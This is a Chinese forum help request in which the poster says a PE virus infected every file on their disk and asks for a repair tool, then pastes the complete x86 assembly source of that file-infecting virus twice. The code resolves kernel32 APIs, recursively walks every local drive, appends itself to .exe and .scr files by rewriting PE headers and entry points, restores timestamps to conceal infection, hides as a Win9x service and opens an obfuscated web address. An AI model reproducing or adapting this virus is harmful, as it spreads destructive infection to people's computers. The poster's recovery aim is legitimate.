-
-
[旧帖] [求助]帮忙找PE修复软件 0.00雪花
-
发表于: 2007-12-29 00:28 5281
-
之后我运行了这个PE病毒后硬盘的所有文件都种了.现在系统都运行不了
下面是源码,那位可以写出修复程序出来啦,
include wap32.inc
ApiAddressList struc
;//Kernel32.DLL
KnlLoadLibraryA dd ?
KnlCreateMutexA dd ?
KnlGetLastError dd ?
KnlGetCommandLineA dd ?
KnlWinExec dd ?
KnlGetDriveTypeA dd ?
KnlSetCurrentDirectoryA dd ?
KnlFindFirstFileA dd ?
KnlFindNextFileA dd ?
KnlFindClose dd ?
KnlSetFileAttributesA dd ?
KnlSetFileTime dd ?
KnlLOpen dd ?
KnlLRead dd ?
KnlLWrite dd ?
KnlLSeek dd ?
KnlLClose dd ?
KnlSleep dd ?
KnlRegisterServiceProc dd ?
KnlExitProcess dd ?
ApiAddressList ends
KnlApiCount=20
MAX_BUFF_SIZE=1000h
VirusSize=OFF VirusEnd-OFF Start
extrn MessageBoxA: proc
extrn ExitProcess: proc
.386
.model flat,stdcall
.data
Start:
pushad
VirusStart:
call PushMyExceptionProc
mov esp,fs:[0] ;//发生意外错误则退出
jmp [esp+10*4]
PushMyExceptionProc: ;//设置Exception.MyException
push fs:D [0] ;//设置Exception.NextException
mov fs:[0],esp ;//挂住异常处理函数
;/////////////////////////////////////////////////任务:查找Kernel32.DLL模块句柄
FindKernel32ModuleHandle:
mov eax,[esp+10*4] ;//取Kernel32返回地址
and ax,0f000h
mov esi,eax ;//得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
sub esi,1000h
cmp W [esi],'ZM' ;//搜索EXE文件头
jnz short LoopFindKernel32
GetPeHeader:
movzx edi,W [esi.PEHeaderOffset]
add edi,esi
cmp W [edi],'EP' ;//确认是否PE文件头
jnz short LoopFindKernel32
;//////////////////////////////////////////////////任务:查找GetProcAddress函数地址
GetPeExportTable:
mov ebp,[edi.fhExportsRVA]
add ebp,esi ;//得到输出函数表
GetExportNameList:
mov ebx,[ebp.etExportNameList] ;//得到输出函数名表
add ebx,esi
xor eax,eax ;//函数序号计数
mov edx,esi ;//暂存Kernel32模块句柄
LoopFindApiStr:
add ebx,04
inc eax ;//增加函数计数
mov edi,[ebx]
add edi,edx ;//得到一个Api函数名字符串
call PushStrGetProcAddress
db 'GetProcAddress',0
PushStrGetProcAddress:
pop esi ;//得到Api名字字符串
xor ecx,ecx
mov cl,15 ;//GetProcAddress串大小
cld
rep cmpsb
jnz short LoopFindApiStr
mov esi,edx
mov ebx,[ebp.etExportOrdlList]
add ebx,esi ;//取函数序号地址列表
movzx ecx,W [ebx+eax*2]
mov ebx,[ebp.etExportAddrList]
add ebx,esi ;//得到Kernel32函数地址列表
mov ebx,[ebx+ecx*4]
add ebx,esi ;//计算GetProcAddress函数地址
;//现在我得到下列函数 ebx=GetProcAddress,esi=KernelModuleHandle
;//////////////////////////////////////////////////任务: 定位Knl32函数
RelocalKnlApi:
sub esp,size ApiAddressList+10h;//在堆栈中存放API的地址
mov edi,esp
call PushKnlApiStr19;//将函数名推入堆栈
db 'ExitProcess',0
PushKnlApiStr19:
call PushKnlApiStr18;//将函数名推入堆栈
db 'RegisterServiceProcess',0
PushKnlApiStr18:
call PushKnlApiStr17;//将函数名推入堆栈
db 'Sleep',0
PushKnlApiStr17:
call PushKnlApiStr16;//将函数名推入堆栈
db '_lclose',0
PushKnlApiStr16:
call PushKnlApiStr15;//将函数名推入堆栈
db '_llseek',0
PushKnlApiStr15:
call PushKnlApiStr14;//将函数名推入堆栈
db '_lwrite',0
PushKnlApiStr14:
call PushKnlApiStr13;//将函数名推入堆栈
db '_lread',0
PushKnlApiStr13:
call PushKnlApiStr12;//将函数名推入堆栈
db '_lopen',0
PushKnlApiStr12:
call PushKnlApiStr11;//将函数名推入堆栈
db 'SetFileTime',0
PushKnlApiStr11:
call PushKnlApiStr10;//将函数名推入堆栈
db 'SetFileAttributesA',0
PushKnlApiStr10:
call PushKnlApiStr09;//将函数名推入堆栈
db 'FindClose',0
PushKnlApiStr09:
call PushKnlApiStr08;//将函数名推入堆栈
db 'FindNextFileA',0
PushKnlApiStr08:
call PushKnlApiStr07;//将函数名推入堆栈
db 'FindFirstFileA',0
PushKnlApiStr07:
call PushKnlApiStr06;//将函数名推入堆栈
db 'SetCurrentDirectoryA',0
PushKnlApiStr06:
call PushKnlApiStr05;//将函数名推入堆栈
db 'GetDriveTypeA',0
PushKnlApiStr05:
call PushKnlApiStr04;//将函数名推入堆栈
db 'WinExec',0
PushKnlApiStr04:
call PushKnlApiStr03;//将函数名推入堆栈
db 'GetCommandLineA',0
PushKnlApiStr03:
call PushKnlApiStr02;//将函数名推入堆栈
db 'GetLastError',0
PushKnlApiStr02:
call PushKnlApiStr01;//将函数名推入堆栈
db 'CreateMutexA',0
PushKnlApiStr01:
call PushKnlApiStr00
db 'LoadLibraryA',0
PushKnlApiStr00:
mov ecx,KnlApiCount ;//共需要定位KnlApiCount个Knl32Api函数
LoopRelocKnlApi:
mov ebp,ecx
call ebx,esi
cld
stosd
mov ecx,ebp
loop LoopRelocKnlApi
;///////////////////////////////////////////////////////任务:判断病毒是否已经存在
mov esi,esp ;//函数调用列表指针
call PushMutexName
db 'LostLove',0
PushMutexName:
call [esi.KnlCreateMutexA],0,0;//CreateMutexA,NULL,NULL,OFF "VirusMutex"
call [esi.KnlGetLastError]
or eax,eax
jz short ExecProgram
JmpToOldProc:
mov esp,fs:[0]
pop fs:D [0]
pop eax ;//平衡堆栈
popad
PushXXXCode db 68h
OldEntryRVA dd OFF Exit
ret
;///////////////////////////////////////////任务:加载老程序
ExecProgram:
call [esi.KnlGetCommandLineA]
call [esi.KnlWinExec],eax,L 01
;///////////////////////////////////////////任务: 在Win9x下隐藏自己
mov eax,[esi.KnlRegisterServiceProc]
or eax,eax
jz short ScanLogDrive
call eax,L 0,L 1
;///////////////////////////////////////////任务:搜索本地文件,并传染病毒
ScanLogDrive:
;//开始列举本地磁盘,从C开始,跳过A,B
call EnumLogDrive
;///////////////////////////////////////////任务: 给BoyHacker
ExplorerHttp:
push L 01h
call PushHttpAddr
db 'Explorer 2c4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4N6^5i4K6u0V1M7r3q4U0K9%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6D9P5q4)9J5c8X3u0G2P5g2)9J5c8X3u0G2P5h3S2S2j5$3E0W2M7W2)9J5k6h3S2@1L8g2)9J5y4#2)9J5b7K6l9`.
PushHttpAddr:
call [esi.KnlWinExec]
call [esi.KnlExitProcess]
;//病毒标准汇编库函数
EnumLogDrive proc
;//列举本地硬盘
mov ecx,24
mov edx,'\:C'
ContEnumLogDrive:
push ecx
push edx
call [esi.KnlGetDriveTypeA],esp
cmp eax,2 ;//不可访问磁盘
jb short ContNextLogDrive
cmp eax,5 ;//CDROM光盘
jz short ContNextLogDrive
call EnumFileObject,esp
ContNextLogDrive:
pop edx
inc edx
pop ecx
loop short ContEnumLogDrive
ret
EnumLogDrive endp
EnumFileObject proc uses ebx esi edi,BootDir:dword
;//用来列举目录/网络上某个共享目录
call [esi.KnlSetCurrentDirectoryA],BootDir ;设为当前目录
or eax,eax
jz short SetDirError
sub esp,MAX_BUFF_SIZE ;//开辟1000h字节的缓冲区
mov [esp],L 2a2e2ah ;//建立"*.*"字符串
mov eax,esp
call [esi.KnlFindFirstFileA],eax,esp
mov ebx,eax
cmp eax,-1
jz short EnumFileObjectError
LoopEnumFileObject:
call [esi.KnlFindNextFileA],ebx,esp
or eax,eax
jz short EnumFileObjectOver
lea edx,[esp.cFileName]
mov eax,[esp.dwFileAttributes]
and eax,10h ;//测试文件属性
jz short IsFileObject
IsDirObject: ;//是一个目录
mov eax,[edx]
cmp al,'.' ;//测试是否点目录,是就不处理
jz short LoopEnumFileObject
call EnumFileObject,edx ;//递归调用
jmp short LoopEnumFileObject
IsFileObject: ;//是一个文件
call FoundFileObject,esp;//操作文件
jmp short LoopEnumFileObject
EnumFileObjectOver:
call [esi.KnlFindClose],ebx
EnumFileObjectError:
mov D [esp],L 2e2eh ;//恢复原来的当前目录 建立字符串".."
call [esi.KnlSetCurrentDirectoryA],esp
add esp,MAX_BUFF_SIZE ;//平衡堆栈
SetDirError:
ret
EnumFileObject endp
FoundFileObject proc uses ebx esi edi,FindData:dword
;//判断扩展名(EXE/SCR)
mov ebx,FindData
mov ecx,MAX_BUFF_SIZE
lea edi,[ebx.cFileName]
xor al,al
cld
repnz scasb
mov eax,[edi-5]
or eax,20202000h
cmp eax,'exe.'
jz short IsExeFile
cmp eax,'rcs.'
jz short IsExeFile
ret
IsExeFile:
call OptExeFile,ebx
ret
FoundFileObject endp
OptExeFile proc uses ebx esi edi,FindData: dword
;为修改PE文件做准备,恢复文件信息
;////////////////////Opt Step 0: 清除文件属性
mov edi,FindData
lea ebx,[edi.cFileName]
call [esi.KnlSetFileAttributesA],ebx,L 0
;////////////////////Opt Step 1: 打开文件读写
call [esi.KnlLOpen],ebx,L 02
cmp eax,-1
jz short OpenFileError
mov ebx,eax
;////////////////////Opt Step 2: 修改PE文件
call FixPeFile,ebx
;////////////////////Opt Step 3: 恢复文件时间
lea eax,[edi.ftCreationTime]
lea ecx,[edi.ftLastAccessTime]
lea edx,[edi.ftLastWriteTime]
call [esi.KnlSetFileTime],ebx,eax,ecx,edx
;////////////////////Opt Setp 4: 关闭文件
call [esi.KnlLClose],ebx
OpenFileError:
;////////////////////Opt Step 5: 恢复文件属性
lea ebx,[edi.cFileName]
call [esi.KnlSetFileAttributesA],ebx,[edi.dwFileAttributes]
ret
OptExeFile endp
FixPeFile proc uses ebx esi edi,hPeFile:dword
;修改PE文件,附加上病毒体
sub esp,MAX_BUFF_SIZE
mov edi,esp
;/////////////////////Opt Step 0: 读文件头,查找最后一个ObjectTable
call [esi.KnlLRead],hPeFile,edi,MAX_BUFF_SIZE
movzx eax,W [edi+PEHeaderOffset]
add edi,eax
cmp edi,ebp ;//超界检查
ja FixPeFileOver
cmp [edi.fhPEFlag],'EP' ;//检查PE文件
jnz FixPeFileOver
mov eax,VirusSize ;//检查是否被感染
xchg [edi.fhCheckSum],eax
cmp eax,VirusSize
jz FixPeFileOver
lea ebx,[edi.fhObjectTable00]
movzx ecx,[edi.fhObjectCount]
dec ecx
FindLastObjectTable:
add ebx,size ObjectTable
loop FindLastObjectTable
cmp ebx,ebp ;//超界检查
ja FixPeFileOver
;/////////////////////Opt Step 1: 修改ObjectTable的属性
or [ebx.otFlags],0e0000000h ;Code|Init|Exec|Read|Write[CIERW]属性
;/////////////////////Opt Step 0: 移动文件指针,探测文件长度
call [esi.KnlLSeek],hPeFile,L 0,L 02
cmp eax,-1
jz short FixPeFileOver
;/////////////////////Opt Step 3: 计算新的ObjectTable数据,与程序入口
push eax ;保存文件长度信息
add eax,VirusSize
sub eax,[ebx.otPhysOffset] ;计算ObjectTable物理尺寸
mov [ebx.otPhysSize],eax
mov edx,[ebx.otVirtSize]
cmp eax,edx
jb short NoFixVirtSize
mov [ebx.otVirtSize],eax ;扩展虚拟尺寸
mov ecx,[edi.fhObjectAlign] ;取Object对齐信息
dec ecx
add eax,ecx ;收尾数
add edx,ecx ;收尾数
not ecx
and eax,ecx ;取整数
and edx,ecx ;取整数
sub eax,edx ;计算新ImageSize增加值
add [edi.fhImageSize],eax ;扩展映射总尺寸
NoFixVirtSize:
pop ecx ;恢复文件长度信息
sub ecx,[ebx.otPhysOffset]
add ecx,[ebx.otRVA] ;计算出新PE程序入口
xchg [edi.fhEntryRVA],ecx
add ecx,[edi.fhImageBase]
call GetBaseAddress
GetBaseAddress:
pop edi
sub edi,OFF GetBaseAddress-OFF OldEntryRVA
mov [edi],ecx ;记录老PE程序入口
WriteVirusToFile:
sub edi,OFF OldEntryRVA-OFF Start
call [esi.KnlLWrite],hPeFile,edi,VirusSize
cmp eax,-1
jz short FixPeFileOver
WritePeHeader:
call [esi.KnlLSeek],hPeFile,L 0,L 0
mov eax,esp
call [esi.KnlLWrite],hPeFile,eax,MAX_BUFF_SIZE
FixPeFileOver:
add esp,MAX_BUFF_SIZE
ret
FixPeFile endp
VirusEnd:
.code
Msg db 'Virus Run Ok',0
Exit:
call MessageBoxA,NULL,OFF Msg,OFF Msg,L 0
call ExitProcess,L 0
end Start
下面是源码,那位可以写出修复程序出来啦,
include wap32.inc
ApiAddressList struc
;//Kernel32.DLL
KnlLoadLibraryA dd ?
KnlCreateMutexA dd ?
KnlGetLastError dd ?
KnlGetCommandLineA dd ?
KnlWinExec dd ?
KnlGetDriveTypeA dd ?
KnlSetCurrentDirectoryA dd ?
KnlFindFirstFileA dd ?
KnlFindNextFileA dd ?
KnlFindClose dd ?
KnlSetFileAttributesA dd ?
KnlSetFileTime dd ?
KnlLOpen dd ?
KnlLRead dd ?
KnlLWrite dd ?
KnlLSeek dd ?
KnlLClose dd ?
KnlSleep dd ?
KnlRegisterServiceProc dd ?
KnlExitProcess dd ?
ApiAddressList ends
KnlApiCount=20
MAX_BUFF_SIZE=1000h
VirusSize=OFF VirusEnd-OFF Start
extrn MessageBoxA: proc
extrn ExitProcess: proc
.386
.model flat,stdcall
.data
Start:
pushad
VirusStart:
call PushMyExceptionProc
mov esp,fs:[0] ;//发生意外错误则退出
jmp [esp+10*4]
PushMyExceptionProc: ;//设置Exception.MyException
push fs:D [0] ;//设置Exception.NextException
mov fs:[0],esp ;//挂住异常处理函数
;/////////////////////////////////////////////////任务:查找Kernel32.DLL模块句柄
FindKernel32ModuleHandle:
mov eax,[esp+10*4] ;//取Kernel32返回地址
and ax,0f000h
mov esi,eax ;//得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
sub esi,1000h
cmp W [esi],'ZM' ;//搜索EXE文件头
jnz short LoopFindKernel32
GetPeHeader:
movzx edi,W [esi.PEHeaderOffset]
add edi,esi
cmp W [edi],'EP' ;//确认是否PE文件头
jnz short LoopFindKernel32
;//////////////////////////////////////////////////任务:查找GetProcAddress函数地址
GetPeExportTable:
mov ebp,[edi.fhExportsRVA]
add ebp,esi ;//得到输出函数表
GetExportNameList:
mov ebx,[ebp.etExportNameList] ;//得到输出函数名表
add ebx,esi
xor eax,eax ;//函数序号计数
mov edx,esi ;//暂存Kernel32模块句柄
LoopFindApiStr:
add ebx,04
inc eax ;//增加函数计数
mov edi,[ebx]
add edi,edx ;//得到一个Api函数名字符串
call PushStrGetProcAddress
db 'GetProcAddress',0
PushStrGetProcAddress:
pop esi ;//得到Api名字字符串
xor ecx,ecx
mov cl,15 ;//GetProcAddress串大小
cld
rep cmpsb
jnz short LoopFindApiStr
mov esi,edx
mov ebx,[ebp.etExportOrdlList]
add ebx,esi ;//取函数序号地址列表
movzx ecx,W [ebx+eax*2]
mov ebx,[ebp.etExportAddrList]
add ebx,esi ;//得到Kernel32函数地址列表
mov ebx,[ebx+ecx*4]
add ebx,esi ;//计算GetProcAddress函数地址
;//现在我得到下列函数 ebx=GetProcAddress,esi=KernelModuleHandle
;//////////////////////////////////////////////////任务: 定位Knl32函数
RelocalKnlApi:
sub esp,size ApiAddressList+10h;//在堆栈中存放API的地址
mov edi,esp
call PushKnlApiStr19;//将函数名推入堆栈
db 'ExitProcess',0
PushKnlApiStr19:
call PushKnlApiStr18;//将函数名推入堆栈
db 'RegisterServiceProcess',0
PushKnlApiStr18:
call PushKnlApiStr17;//将函数名推入堆栈
db 'Sleep',0
PushKnlApiStr17:
call PushKnlApiStr16;//将函数名推入堆栈
db '_lclose',0
PushKnlApiStr16:
call PushKnlApiStr15;//将函数名推入堆栈
db '_llseek',0
PushKnlApiStr15:
call PushKnlApiStr14;//将函数名推入堆栈
db '_lwrite',0
PushKnlApiStr14:
call PushKnlApiStr13;//将函数名推入堆栈
db '_lread',0
PushKnlApiStr13:
call PushKnlApiStr12;//将函数名推入堆栈
db '_lopen',0
PushKnlApiStr12:
call PushKnlApiStr11;//将函数名推入堆栈
db 'SetFileTime',0
PushKnlApiStr11:
call PushKnlApiStr10;//将函数名推入堆栈
db 'SetFileAttributesA',0
PushKnlApiStr10:
call PushKnlApiStr09;//将函数名推入堆栈
db 'FindClose',0
PushKnlApiStr09:
call PushKnlApiStr08;//将函数名推入堆栈
db 'FindNextFileA',0
PushKnlApiStr08:
call PushKnlApiStr07;//将函数名推入堆栈
db 'FindFirstFileA',0
PushKnlApiStr07:
call PushKnlApiStr06;//将函数名推入堆栈
db 'SetCurrentDirectoryA',0
PushKnlApiStr06:
call PushKnlApiStr05;//将函数名推入堆栈
db 'GetDriveTypeA',0
PushKnlApiStr05:
call PushKnlApiStr04;//将函数名推入堆栈
db 'WinExec',0
PushKnlApiStr04:
call PushKnlApiStr03;//将函数名推入堆栈
db 'GetCommandLineA',0
PushKnlApiStr03:
call PushKnlApiStr02;//将函数名推入堆栈
db 'GetLastError',0
PushKnlApiStr02:
call PushKnlApiStr01;//将函数名推入堆栈
db 'CreateMutexA',0
PushKnlApiStr01:
call PushKnlApiStr00
db 'LoadLibraryA',0
PushKnlApiStr00:
mov ecx,KnlApiCount ;//共需要定位KnlApiCount个Knl32Api函数
LoopRelocKnlApi:
mov ebp,ecx
call ebx,esi
cld
stosd
mov ecx,ebp
loop LoopRelocKnlApi
;///////////////////////////////////////////////////////任务:判断病毒是否已经存在
mov esi,esp ;//函数调用列表指针
call PushMutexName
db 'LostLove',0
PushMutexName:
call [esi.KnlCreateMutexA],0,0;//CreateMutexA,NULL,NULL,OFF "VirusMutex"
call [esi.KnlGetLastError]
or eax,eax
jz short ExecProgram
JmpToOldProc:
mov esp,fs:[0]
pop fs:D [0]
pop eax ;//平衡堆栈
popad
PushXXXCode db 68h
OldEntryRVA dd OFF Exit
ret
;///////////////////////////////////////////任务:加载老程序
ExecProgram:
call [esi.KnlGetCommandLineA]
call [esi.KnlWinExec],eax,L 01
;///////////////////////////////////////////任务: 在Win9x下隐藏自己
mov eax,[esi.KnlRegisterServiceProc]
or eax,eax
jz short ScanLogDrive
call eax,L 0,L 1
;///////////////////////////////////////////任务:搜索本地文件,并传染病毒
ScanLogDrive:
;//开始列举本地磁盘,从C开始,跳过A,B
call EnumLogDrive
;///////////////////////////////////////////任务: 给BoyHacker
ExplorerHttp:
push L 01h
call PushHttpAddr
db 'Explorer 2c4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4N6^5i4K6u0V1M7r3q4U0K9%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6D9P5q4)9J5c8X3u0G2P5g2)9J5c8X3u0G2P5h3S2S2j5$3E0W2M7W2)9J5k6h3S2@1L8g2)9J5y4#2)9J5b7K6l9`.
PushHttpAddr:
call [esi.KnlWinExec]
call [esi.KnlExitProcess]
;//病毒标准汇编库函数
EnumLogDrive proc
;//列举本地硬盘
mov ecx,24
mov edx,'\:C'
ContEnumLogDrive:
push ecx
push edx
call [esi.KnlGetDriveTypeA],esp
cmp eax,2 ;//不可访问磁盘
jb short ContNextLogDrive
cmp eax,5 ;//CDROM光盘
jz short ContNextLogDrive
call EnumFileObject,esp
ContNextLogDrive:
pop edx
inc edx
pop ecx
loop short ContEnumLogDrive
ret
EnumLogDrive endp
EnumFileObject proc uses ebx esi edi,BootDir:dword
;//用来列举目录/网络上某个共享目录
call [esi.KnlSetCurrentDirectoryA],BootDir ;设为当前目录
or eax,eax
jz short SetDirError
sub esp,MAX_BUFF_SIZE ;//开辟1000h字节的缓冲区
mov [esp],L 2a2e2ah ;//建立"*.*"字符串
mov eax,esp
call [esi.KnlFindFirstFileA],eax,esp
mov ebx,eax
cmp eax,-1
jz short EnumFileObjectError
LoopEnumFileObject:
call [esi.KnlFindNextFileA],ebx,esp
or eax,eax
jz short EnumFileObjectOver
lea edx,[esp.cFileName]
mov eax,[esp.dwFileAttributes]
and eax,10h ;//测试文件属性
jz short IsFileObject
IsDirObject: ;//是一个目录
mov eax,[edx]
cmp al,'.' ;//测试是否点目录,是就不处理
jz short LoopEnumFileObject
call EnumFileObject,edx ;//递归调用
jmp short LoopEnumFileObject
IsFileObject: ;//是一个文件
call FoundFileObject,esp;//操作文件
jmp short LoopEnumFileObject
EnumFileObjectOver:
call [esi.KnlFindClose],ebx
EnumFileObjectError:
mov D [esp],L 2e2eh ;//恢复原来的当前目录 建立字符串".."
call [esi.KnlSetCurrentDirectoryA],esp
add esp,MAX_BUFF_SIZE ;//平衡堆栈
SetDirError:
ret
EnumFileObject endp
FoundFileObject proc uses ebx esi edi,FindData:dword
;//判断扩展名(EXE/SCR)
mov ebx,FindData
mov ecx,MAX_BUFF_SIZE
lea edi,[ebx.cFileName]
xor al,al
cld
repnz scasb
mov eax,[edi-5]
or eax,20202000h
cmp eax,'exe.'
jz short IsExeFile
cmp eax,'rcs.'
jz short IsExeFile
ret
IsExeFile:
call OptExeFile,ebx
ret
FoundFileObject endp
OptExeFile proc uses ebx esi edi,FindData: dword
;为修改PE文件做准备,恢复文件信息
;////////////////////Opt Step 0: 清除文件属性
mov edi,FindData
lea ebx,[edi.cFileName]
call [esi.KnlSetFileAttributesA],ebx,L 0
;////////////////////Opt Step 1: 打开文件读写
call [esi.KnlLOpen],ebx,L 02
cmp eax,-1
jz short OpenFileError
mov ebx,eax
;////////////////////Opt Step 2: 修改PE文件
call FixPeFile,ebx
;////////////////////Opt Step 3: 恢复文件时间
lea eax,[edi.ftCreationTime]
lea ecx,[edi.ftLastAccessTime]
lea edx,[edi.ftLastWriteTime]
call [esi.KnlSetFileTime],ebx,eax,ecx,edx
;////////////////////Opt Setp 4: 关闭文件
call [esi.KnlLClose],ebx
OpenFileError:
;////////////////////Opt Step 5: 恢复文件属性
lea ebx,[edi.cFileName]
call [esi.KnlSetFileAttributesA],ebx,[edi.dwFileAttributes]
ret
OptExeFile endp
FixPeFile proc uses ebx esi edi,hPeFile:dword
;修改PE文件,附加上病毒体
sub esp,MAX_BUFF_SIZE
mov edi,esp
;/////////////////////Opt Step 0: 读文件头,查找最后一个ObjectTable
call [esi.KnlLRead],hPeFile,edi,MAX_BUFF_SIZE
movzx eax,W [edi+PEHeaderOffset]
add edi,eax
cmp edi,ebp ;//超界检查
ja FixPeFileOver
cmp [edi.fhPEFlag],'EP' ;//检查PE文件
jnz FixPeFileOver
mov eax,VirusSize ;//检查是否被感染
xchg [edi.fhCheckSum],eax
cmp eax,VirusSize
jz FixPeFileOver
lea ebx,[edi.fhObjectTable00]
movzx ecx,[edi.fhObjectCount]
dec ecx
FindLastObjectTable:
add ebx,size ObjectTable
loop FindLastObjectTable
cmp ebx,ebp ;//超界检查
ja FixPeFileOver
;/////////////////////Opt Step 1: 修改ObjectTable的属性
or [ebx.otFlags],0e0000000h ;Code|Init|Exec|Read|Write[CIERW]属性
;/////////////////////Opt Step 0: 移动文件指针,探测文件长度
call [esi.KnlLSeek],hPeFile,L 0,L 02
cmp eax,-1
jz short FixPeFileOver
;/////////////////////Opt Step 3: 计算新的ObjectTable数据,与程序入口
push eax ;保存文件长度信息
add eax,VirusSize
sub eax,[ebx.otPhysOffset] ;计算ObjectTable物理尺寸
mov [ebx.otPhysSize],eax
mov edx,[ebx.otVirtSize]
cmp eax,edx
jb short NoFixVirtSize
mov [ebx.otVirtSize],eax ;扩展虚拟尺寸
mov ecx,[edi.fhObjectAlign] ;取Object对齐信息
dec ecx
add eax,ecx ;收尾数
add edx,ecx ;收尾数
not ecx
and eax,ecx ;取整数
and edx,ecx ;取整数
sub eax,edx ;计算新ImageSize增加值
add [edi.fhImageSize],eax ;扩展映射总尺寸
NoFixVirtSize:
pop ecx ;恢复文件长度信息
sub ecx,[ebx.otPhysOffset]
add ecx,[ebx.otRVA] ;计算出新PE程序入口
xchg [edi.fhEntryRVA],ecx
add ecx,[edi.fhImageBase]
call GetBaseAddress
GetBaseAddress:
pop edi
sub edi,OFF GetBaseAddress-OFF OldEntryRVA
mov [edi],ecx ;记录老PE程序入口
WriteVirusToFile:
sub edi,OFF OldEntryRVA-OFF Start
call [esi.KnlLWrite],hPeFile,edi,VirusSize
cmp eax,-1
jz short FixPeFileOver
WritePeHeader:
call [esi.KnlLSeek],hPeFile,L 0,L 0
mov eax,esp
call [esi.KnlLWrite],hPeFile,eax,MAX_BUFF_SIZE
FixPeFileOver:
add esp,MAX_BUFF_SIZE
ret
FixPeFile endp
VirusEnd:
.code
Msg db 'Virus Run Ok',0
Exit:
call MessageBoxA,NULL,OFF Msg,OFF Msg,L 0
call ExitProcess,L 0
end Start
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
赞赏
雪币:
留言: